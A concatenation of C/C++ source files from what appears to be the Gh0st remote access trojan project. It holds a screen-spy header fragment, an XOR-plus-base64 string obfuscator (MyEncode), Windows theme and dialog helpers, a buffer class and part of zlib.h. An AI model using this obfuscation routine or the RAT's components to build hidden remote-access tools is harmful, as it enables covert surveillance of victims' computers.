#endif // !defined(AFX_SCREENSPYDLG_H__8C27AA31_1C2A_428A_A937_BC00F2519DB1__INCLUDED_)
| 07321-rat | trunk/gh0st/ScreenSpyDlg.h | C++ | asf20 | 2,713 |
static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int base64_encode(const void *data, int size, char **str)
{
char *s, *p;
int i;
int c;
const unsigned char *q;
p = s = (char*)malloc(size*4/3+4);
if (p == NULL)
return -1;
q = (const unsigned char*)data;
i=0;
for(i = 0; i < size;){
c=q[i++];
c*=256;
if(i < size)
c+=q[i];
i++;
c*=256;
if(i < size)
c+=q[i];
i++;
p[0]=base64[(c&0x00fc0000) >> 18];
p[1]=base64[(c&0x0003f000) >> 12];
p[2]=base64[(c&0x00000fc0) >> 6];
p[3]=base64[(c&0x0000003f) >> 0];
if(i > size)
p[3]='=';
if(i > size+1)
p[2]='=';
p+=4;
}
*p=0;
*str = s;
return strlen(s);
}
char* MyEncode(char *str)
{
int i, len;
char *p;
char *s, *data;
len = strlen(str) + 1;
s = (char *)malloc(len);
memcpy(s, str, len);
for (i = 0; i < len; i++)
{
s[i] ^= 0x19;
s[i] += 0x86;
}
base64_encode(s, len, &data);
free(s);
return data;
}
| 07321-rat | trunk/gh0st/encode.h | C | asf20 | 1,069 |
/**********************************************************************
**
** ThemeUtil.cpp : implementation file of CThemeUtil class
**
** by Andrzej Markowski June 2004
**
**********************************************************************/
#include "stdafx.h"
#include "themeutil.h"
CThemeUtil::CThemeUtil()
{
m_hUxThemeDll = NULL;
m_hRcDll = NULL;
m_hTheme = NULL;
FreeLibrary();
if(IsWinXP())
m_hUxThemeDll = ::LoadLibrary(CString(_T("UxTheme.dll")));
}
CThemeUtil::~CThemeUtil()
{
FreeLibrary();
}
void CThemeUtil::FreeLibrary()
{
CloseThemeData();
if(m_hUxThemeDll!=NULL)
::FreeLibrary(m_hUxThemeDll);
m_hUxThemeDll = NULL;
}
BOOL CThemeUtil::IsWinXP(void)
{
OSVERSIONINFO osvi;
::ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
::GetVersionEx(&osvi);
return MAKELONG(osvi.dwMajorVersion,osvi.dwMinorVersion) >= MAKELONG(5,1);
}
BOOL CThemeUtil::OpenThemeData(HWND hWnd, LPCWSTR pszClassList)
{
if(m_hUxThemeDll==NULL || hWnd==NULL || m_hTheme)
return FALSE;
UINT (PASCAL* pfnIsThemeActive)(); // IsThemeActive
(FARPROC&)pfnIsThemeActive=GetProcAddress(m_hUxThemeDll,"IsThemeActive");
if(pfnIsThemeActive && pfnIsThemeActive())
{
UINT (PASCAL* pfnOpenThemeData)(HWND hwnd, LPCWSTR pszClassList);
(FARPROC&)pfnOpenThemeData=GetProcAddress(m_hUxThemeDll,"OpenThemeData");
if(pfnOpenThemeData)
m_hTheme=pfnOpenThemeData(hWnd, pszClassList);
if(m_hTheme)
{
WCHAR szThemeFileName[MAX_PATH];
WCHAR szColorBuff[MAX_PATH];
WCHAR szSizeBuff[MAX_PATH];
if(GetCurrentThemeName(szThemeFileName,MAX_PATH,szColorBuff,MAX_PATH,szSizeBuff,MAX_PATH))
{
if((m_hRcDll = ::LoadLibrary(CString(szThemeFileName))))
return TRUE;
}
CloseThemeData();
return FALSE;
}
}
return FALSE;
}
void CThemeUtil::CloseThemeData()
{
if(m_hTheme)
{
UINT (PASCAL* pfnCloseThemeData)(HANDLE hTheme);
(FARPROC&)pfnCloseThemeData=GetProcAddress(m_hUxThemeDll,"CloseThemeData");
if(pfnCloseThemeData)
pfnCloseThemeData((HANDLE)m_hTheme);
}
m_hTheme = NULL;
if(m_hRcDll!=NULL)
::FreeLibrary(m_hRcDll);
m_hRcDll = NULL;
}
BOOL CThemeUtil::DrawThemePart(HDC hdc, int iPartId, int iStateId, const RECT *pRect)
{
if(m_hTheme==NULL)
return FALSE;
UINT (PASCAL* pfnDrawThemeBackground)(UINT hTheme, HDC hdc, int iPartId, int iStateId,
const RECT *pRect, const RECT* pClipRect);
(FARPROC&)pfnDrawThemeBackground=GetProcAddress(m_hUxThemeDll,"DrawThemeBackground");
if(pfnDrawThemeBackground)
{
pfnDrawThemeBackground(m_hTheme, hdc, iPartId, iStateId, pRect, NULL);
return TRUE;
}
return FALSE;
}
BOOL CThemeUtil::GetThemeColor(int iPartId, int iStateId, int iPropId, const COLORREF *pColor)
{
if(m_hTheme==NULL)
return FALSE;
UINT (PASCAL* pfnGetThemeColor)(UINT hTheme, int iPartId, int iStateId, int iPropId,
const COLORREF *pColor);
(FARPROC&)pfnGetThemeColor=GetProcAddress(m_hUxThemeDll,"GetThemeColor");
if(pfnGetThemeColor)
{
pfnGetThemeColor(m_hTheme, iPartId, iStateId, iPropId, pColor);
return TRUE;
}
return FALSE;
}
BOOL CThemeUtil::GetThemeEnumValue(int iPartId, int iStateId, int iPropId, const int *piVal)
{
if(m_hTheme==NULL)
return FALSE;
UINT (PASCAL* pfnGetThemeEnumValue)(UINT hTheme, int iPartId, int iStateId, int iPropId,
const int *piVal);
(FARPROC&)pfnGetThemeEnumValue=GetProcAddress(m_hUxThemeDll,"GetThemeEnumValue");
if(pfnGetThemeEnumValue)
{
pfnGetThemeEnumValue(m_hTheme, iPartId, iStateId, iPropId, piVal);
return TRUE;
}
return FALSE;
}
BOOL CThemeUtil::GetThemeInt(int iPartId, int iStateId, int iPropId, const int *piVal)
{
if(m_hTheme==NULL)
return FALSE;
UINT (PASCAL* pfnGetThemeInt)(UINT hTheme, int iPartId, int iStateId, int iPropId,
const int *piVal);
(FARPROC&)pfnGetThemeInt=GetProcAddress(m_hUxThemeDll,"GetThemeInt");
if(pfnGetThemeInt)
{
pfnGetThemeInt(m_hTheme, iPartId, iStateId, iPropId, piVal);
return TRUE;
}
return FALSE;
}
BOOL CThemeUtil::GetThemeMargins(int iPartId, int iStateId, int iPropId, const MY_MARGINS *pMargins)
{
if(m_hTheme==NULL)
return FALSE;
UINT (PASCAL* pfnGetThemeMargins)(UINT hTheme, OPTIONAL HDC hdc, int iPartId,
int iStateId, int iPropId, OPTIONAL RECT *prc, const MY_MARGINS *pMargins);
(FARPROC&)pfnGetThemeMargins=GetProcAddress(m_hUxThemeDll,"GetThemeMargins");
if(pfnGetThemeMargins)
{
pfnGetThemeMargins(m_hTheme, NULL, iPartId, iStateId, iPropId, NULL, pMargins);
return TRUE;
}
return FALSE;
}
BOOL CThemeUtil::GetThemeFilename(int iPartId, int iStateId, int iPropId,
OUT LPWSTR pszThemeFileName, int cchMaxBuffChars)
{
if(m_hTheme==NULL)
return FALSE;
UINT (PASCAL* pfnGetThemeFilename)(UINT hTheme, int iPartId, int iStateId, int iPropId,
OUT LPWSTR pszThemeFileName, int cchMaxBuffChars);
(FARPROC&)pfnGetThemeFilename=GetProcAddress(m_hUxThemeDll,"GetThemeFilename");
if(pfnGetThemeFilename)
{
pfnGetThemeFilename(m_hTheme, iPartId, iStateId, iPropId, pszThemeFileName, cchMaxBuffChars);
return TRUE;
}
return FALSE;
}
BOOL CThemeUtil::GetCurrentThemeName(OUT LPWSTR pszThemeFileName, int cchMaxNameChars,
OUT OPTIONAL LPWSTR pszColorBuff, int cchMaxColorChars,
OUT OPTIONAL LPWSTR pszSizeBuff, int cchMaxSizeChars)
{
if(m_hUxThemeDll==NULL)
return FALSE;
UINT (PASCAL* pfnGetCurrentThemeName)(OUT LPWSTR pszThemeFileName,
int cchMaxNameChars,
OUT OPTIONAL LPWSTR pszColorBuff,
int cchMaxColorChars,
OUT OPTIONAL LPWSTR pszSizeBuff,
int cchMaxSizeChars);
(FARPROC&)pfnGetCurrentThemeName=GetProcAddress(m_hUxThemeDll,"GetCurrentThemeName");
if(pfnGetCurrentThemeName)
{
pfnGetCurrentThemeName(pszThemeFileName,cchMaxNameChars,pszColorBuff,cchMaxColorChars,pszSizeBuff,cchMaxSizeChars);
return TRUE;
}
return FALSE;
}
HBITMAP CThemeUtil::LoadBitmap(LPWSTR pszBitmapName)
{
if(m_hRcDll==NULL)
return NULL;
try
{
CString sBitmapName(pszBitmapName);
sBitmapName.Replace('\\','_');
sBitmapName.Replace('.','_');
return ::LoadBitmap(m_hRcDll,sBitmapName);
}
catch(CMemoryException* e)
{
e->Delete();
}
return NULL;
} | 07321-rat | trunk/gh0st/ThemeUtil.cpp | C++ | asf20 | 6,393 |
////////////////////////////////////////////////////////////////
// MSDN Magazine -- June 2005
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
// Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3.
//
#include "stdafx.h"
#include "StringDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
//////////////////
// Note: Make sure nBufLen is big enough to hold your entire dialog template!
//
CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen)
{
m_pBuffer = new WORD[nBufLen];
m_pNext = m_pBuffer;
m_pEndBuf = m_pNext + nBufLen;
}
CDlgTemplateBuilder::~CDlgTemplateBuilder()
{
delete [] m_pBuffer;
}
//////////////////
// Create template (DLGTEMPLATE)
//
DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc,
LPCTSTR text, DWORD dwStyleEx)
{
ASSERT(m_pBuffer==m_pNext); // call Begin first and only once!
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
hdr->style = dwStyle; // copy style..
hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too
hdr->cdit = 0; // number of items: zero
// Set dialog rectangle.
CRect rcDlg = rc;
hdr->x = (short)rcDlg.left;
hdr->y = (short)rcDlg.top;
hdr->cx = (short)rcDlg.Width();
hdr->cy = (short)rcDlg.Height();
// Append trailing items: menu, class, caption. I only use caption.
m_pNext = (WORD*)(hdr+1);
*m_pNext++ = 0; // menu (none)
*m_pNext++ = 0; // dialog class (use standard)
m_pNext = AddText(m_pNext, text); // append dialog caption
ASSERT(m_pNext < m_pEndBuf);
return hdr;
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle,
const CRect& rc, WORD nID, DWORD dwStyleEx)
{
ASSERT(m_pNext < m_pEndBuf);
// initialize DLGITEMTEMPLATE
DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext));
it.style = dwStyle;
it.dwExtendedStyle = dwStyleEx;
CRect rcDlg = rc;
it.x = (short)rcDlg.left;
it.y = (short)rcDlg.top;
it.cx = (short)rcDlg.Width();
it.cy = (short)rcDlg.Height();
it.id = nID;
// add class (none)
m_pNext = (WORD*)(&it+1);
*m_pNext++ = 0xFFFF; // next WORD is atom
*m_pNext++ = wType; // ..atom identifier
ASSERT(m_pNext < m_pEndBuf); // check not out of range
// increment control/item count
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
hdr->cdit++;
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx)
{
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
m_pNext = AddText(m_pNext, text); // append title
*m_pNext++ = 0; // no creation data
ASSERT(m_pNext < m_pEndBuf);
}
//////////////////
// Add dialog item (control).
//
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx)
{
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
*m_pNext++ = 0xFFFF; // next is resource id
*m_pNext++ = wResID; // ..here it is
*m_pNext++ = 0; // no extra stuff
ASSERT(m_pNext < m_pEndBuf);
}
//////////////////
// Append text to buffer. Convert to Unicode if necessary.
// Return pointer to next character after terminating NULL.
//
WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text)
{
if (text) {
USES_CONVERSION;
wcscpy((WCHAR*)buf, T2W((LPTSTR)text));
buf += wcslen((WCHAR*)buf)+1;
} else {
*buf++ = 0;
}
return buf;
}
//////////////////
// Create string dialog. If no icon specified, use IDI_QUESTION. Note that
// the order in which the controls are added is the TAB order.
//
BOOL CStringDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon)
{
const int CXDIALOG = 200; // dialog width
const int DLGMARGIN = 7; // margins all around
const int CYSTATIC = 8; // height of static text
const int CYEDIT = 12; // height of edit control
const int CYSPACE = 5; // vertical space between controls
const int CXBUTTON = 40; // button width...
const int CYBUTTON = 15; // ..and height
CDlgTemplateBuilder& dtb = m_dtb;
CRect rc(
CPoint(0,0),
CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE));
// create dialog header
DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption);
// shrink main rect by margins
rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN));
// create icon if needed
if (nIDIcon) {
if (nIDIcon >= (WORD)IDI_APPLICATION) {
// if using a system icon, I load it here and set it in OnInitDialog
// because can't specify system icon in template, only icons from
// application resource file.
m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon));
nIDIcon = 0;
} else {
m_hIcon = NULL;
}
// The size is calculated in pixels, but it seems to work OK--???
CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON));
CRect rcIcon(rc.TopLeft(), sz);
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon
WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON);
rc.left += sz.cx; // shrink main rect by width of icon
}
// add prompt
rc.bottom = rc.top + CYSTATIC; // height = height of static
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it
WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt);
// add edit control
rc += CPoint(0, rc.Height() + CYSPACE); // move below static
rc.bottom = rc.top + CYEDIT; // height = height of edit control
dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it
WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP, rc, m_str, IDEDIT);
// add OK button
rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control
rc.bottom = rc.top + CYBUTTON; // height = button height
rc.left = rc.right - CXBUTTON; // width = button width
rc -= CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it
WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK);
// add Cancel button
rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button
WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL);
return InitModalIndirect(pTempl, pParent);
}
//////////////////
// Initialize dialog: if I loaded a system icon, set it in static control.
//
BOOL CStringDialog::OnInitDialog()
{
if (m_hIcon) {
CStatic* pStatic = (CStatic*)GetDlgItem(IDICON);
ASSERT(pStatic);
pStatic->SetIcon(m_hIcon);
}
((CEdit *)GetDlgItem(IDEDIT))->SetLimitText(MAXDWORD);
return CDialog::OnInitDialog();
}
/////////////////
// User pressed OK: check for empty string if required flag is set.
//
void CStringDialog::OnOK()
{
UpdateData(TRUE);
if (m_bRequired && m_str.IsEmpty()) {
MessageBeep(0);
return; // don't quit dialog!
}
CDialog::OnOK();
}
| 07321-rat | trunk/gh0st/StringDlg.cpp | C++ | asf20 | 7,105 |
// Buffer.cpp: implementation of the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Buffer.h"
#include "Math.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: CBuffer
//
// DESCRIPTION: Constructs the buffer with a default size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::CBuffer()
{
// Initial size
m_nSize = 0;
m_pPtr = m_pBase = NULL;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ~CBuffer
//
// DESCRIPTION: Deallocates the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
CBuffer::~CBuffer()
{
if (m_pBase)
VirtualFree(m_pBase,0,MEM_RELEASE);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Write
//
// DESCRIPTION: Writes data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(PBYTE pData, UINT nSize)
{
ReAllocateBuffer(nSize + GetBufferLen());
CopyMemory(m_pPtr,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Insert
//
// DESCRIPTION: Insert data into the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(PBYTE pData, UINT nSize)
{
ReAllocateBuffer(nSize + GetBufferLen());
MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);
CopyMemory(m_pBase,pData,nSize);
// Advance Pointer
m_pPtr+=nSize;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Read
//
// DESCRIPTION: Reads data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Read(PBYTE pData, UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Copy over required amount and its not up to us
// to terminate the buffer - got that!!!
CopyMemory(pData,m_pBase,nSize);
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetMemSize
//
// DESCRIPTION: Returns the phyical memory allocated to the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetMemSize()
{
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBufferLen
//
// DESCRIPTION: Get the buffer 'data' length
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::GetBufferLen()
{
if (m_pBase == NULL)
return 0;
int nSize =
m_pPtr - m_pBase;
return nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ReAllocateBuffer
//
// DESCRIPTION: ReAllocateBuffer the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetMemSize())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
if (m_pBase)
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: DeAllocateBuffer
//
// DESCRIPTION: DeAllocates the Buffer to the requested size
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)
{
if (nRequestedSize < GetBufferLen())
return 0;
// Allocate new size
UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;
if (nNewSize < GetMemSize())
return 0;
// New Copy Data Over
PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);
UINT nBufferLen = GetBufferLen();
CopyMemory(pNewBuffer,m_pBase,nBufferLen);
VirtualFree(m_pBase,0,MEM_RELEASE);
// Hand over the pointer
m_pBase = pNewBuffer;
// Realign position pointer
m_pPtr = m_pBase + nBufferLen;
m_nSize = nNewSize;
return m_nSize;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Scan
//
// DESCRIPTION: Scans the buffer for a given byte sequence
//
// RETURNS: Logical offset
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
int CBuffer::Scan(PBYTE pScan,UINT nPos)
{
if (nPos > GetBufferLen() )
return -1;
PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);
int nOffset = 0;
if (pStr)
nOffset = (pStr - m_pBase) + strlen((char*)pScan);
return nOffset;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: ClearBuffer
//
// DESCRIPTION: Clears/Resets the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::ClearBuffer()
{
// Force the buffer to be empty
m_pPtr = m_pBase;
DeAllocateBuffer(1024);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Write
//
// DESCRIPTION: Writes a string a the end of the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Write(CString& strData)
{
int nSize = strData.GetLength();
return Write((PBYTE) strData.GetBuffer(nSize), nSize);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Insert
//
// DESCRIPTION: Insert a string at the beginning of the buffer
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
BOOL CBuffer::Insert(CString& strData)
{
int nSize = strData.GetLength();
return Insert((PBYTE) strData.GetBuffer(nSize), nSize);
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Copy
//
// DESCRIPTION: Copy from one buffer object to another...
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
void CBuffer::Copy(CBuffer& buffer)
{
int nReSize = buffer.GetMemSize();
int nSize = buffer.GetBufferLen();
ClearBuffer();
ReAllocateBuffer(nReSize);
m_pPtr = m_pBase + nSize;
CopyMemory(m_pBase,buffer.GetBuffer(),buffer.GetBufferLen());
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBuffer
//
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
PBYTE CBuffer::GetBuffer(UINT nPos)
{
return m_pBase+nPos;
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: GetBuffer
//
// DESCRIPTION: Returns a pointer to the physical memory determined by the offset
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
///////////////////////////////////////////////////////////////////////////////
void CBuffer::FileWrite(const CString& strFileName)
{
CFile file;
if (file.Open(strFileName, CFile::modeWrite | CFile::modeCreate))
{
file.Write(m_pBase,GetBufferLen());
file.Close();
}
}
////////////////////////////////////////////////////////////////////////////////
//
// FUNCTION: Delete
//
// DESCRIPTION: Delete data from the buffer and deletes what it reads
//
// RETURNS:
//
// NOTES:
//
// MODIFICATIONS:
//
// Name Date Version Comments
// N T ALMOND 270400 1.0 Origin
//
////////////////////////////////////////////////////////////////////////////////
UINT CBuffer::Delete(UINT nSize)
{
// Trying to byte off more than ya can chew - eh?
if (nSize > GetMemSize())
return 0;
// all that we have
if (nSize > GetBufferLen())
nSize = GetBufferLen();
if (nSize)
{
// Slide the buffer back - like sinking the data
MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);
m_pPtr -= nSize;
}
DeAllocateBuffer(GetBufferLen());
return nSize;
} | 07321-rat | trunk/gh0st/include/Buffer.cpp | C++ | asf20 | 11,677 |
// Buffer.h: interface for the CBuffer class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
#define AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CBuffer
{
// Attributes
protected:
PBYTE m_pBase;
PBYTE m_pPtr;
UINT m_nSize;
// Methods
protected:
UINT ReAllocateBuffer(UINT nRequestedSize);
UINT DeAllocateBuffer(UINT nRequestedSize);
UINT GetMemSize();
public:
void ClearBuffer();
UINT Delete(UINT nSize);
UINT Read(PBYTE pData, UINT nSize);
BOOL Write(PBYTE pData, UINT nSize);
BOOL Write(CString& strData);
UINT GetBufferLen();
int Scan(PBYTE pScan,UINT nPos);
BOOL Insert(PBYTE pData, UINT nSize);
BOOL Insert(CString& strData);
void Copy(CBuffer& buffer);
PBYTE GetBuffer(UINT nPos=0);
CBuffer();
virtual ~CBuffer();
void FileWrite(const CString& strFileName);
};
#endif // !defined(AFX_BUFFER_H__829F6693_AC4D_11D2_8C37_00600877E420__INCLUDED_)
| 07321-rat | trunk/gh0st/include/Buffer.h | C++ | asf20 | 1,119 |
/* zlib.h -- interface of the 'zlib' general purpose compression library
version 1.1.4, March 11th, 2002
Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
This software is provided 'as-is', without any express or implied
warranty. In no event will the authors be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this software must not be misrepresented; you must not
claim that you wrote the original software. If you use this software
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
Jean-loup Gailly Mark Adler
jloup@gzip.org madler@alumni.caltech.edu
The data format used by the zlib library is described by RFCs (Request for
Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
(zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
*/
#ifndef _ZLIB_H
#define _ZLIB_H
#include "zconf.h"
#ifdef __cplusplus
extern "C" {
#endif
#define ZLIB_VERSION "1.1.4"
/*
The 'zlib' compression library provides in-memory compression and
decompression functions, including integrity checks of the uncompressed
data. This version of the library supports only one compression method
(deflation) but other algorithms will be added later and will have the same
stream interface.
Compression can be done in a single step if the buffers are large
enough (for example if an input file is mmap'ed), or can be done by
repeated calls of the compression function. In the latter case, the
application must provide more input and/or consume the output
(providing more output space) before each call.
The library also supports reading and writing files in gzip (.gz) format
with an interface similar to that of stdio.
The library does not install any signal handler. The decoder checks
the consistency of the compressed data, so the library should never
crash even in case of corrupted input.
*/
typedef voidpf (*alloc_func) OF((voidpf opaque, uInt items, uInt size));
typedef void (*free_func) OF((voidpf opaque, voidpf address));
struct internal_state;
typedef struct z_stream_s {
Bytef *next_in; /* next input byte */
uInt avail_in; /* number of bytes available at next_in */
uLong total_in; /* total nb of input bytes read so far */
Bytef *next_out; /* next output byte should be put there */
uInt avail_out; /* remaining free space at next_out */
uLong total_out; /* total nb of bytes output so far */
char *msg; /* last error message, NULL if no error */
struct internal_state FAR *state; /* not visible by applications */
alloc_func zalloc; /* used to allocate the internal state */
free_func zfree; /* used to free the internal state */
voidpf opaque; /* private data object passed to zalloc and zfree */
int data_type; /* best guess about the data type: ascii or binary */
uLong adler; /* adler32 value of the uncompressed data */
uLong reserved; /* reserved for future use */
} z_stream;
typedef z_stream FAR *z_streamp;
/*
The application must update next_in and avail_in when avail_in has
dropped to zero. It must update next_out and avail_out when avail_out
has dropped to zero. The application must initialize zalloc, zfree and
opaque before calling the init function. All other fields are set by the
compression library and must not be updated by the application.
The opaque value provided by the application will be passed as the first
parameter for calls of zalloc and zfree. This can be useful for custom
memory management. The compression library attaches no meaning to the
opaque value.
zalloc must return Z_NULL if there is not enough memory for the object.
If zlib is used in a multi-threaded application, zalloc and zfree must be
thread safe.
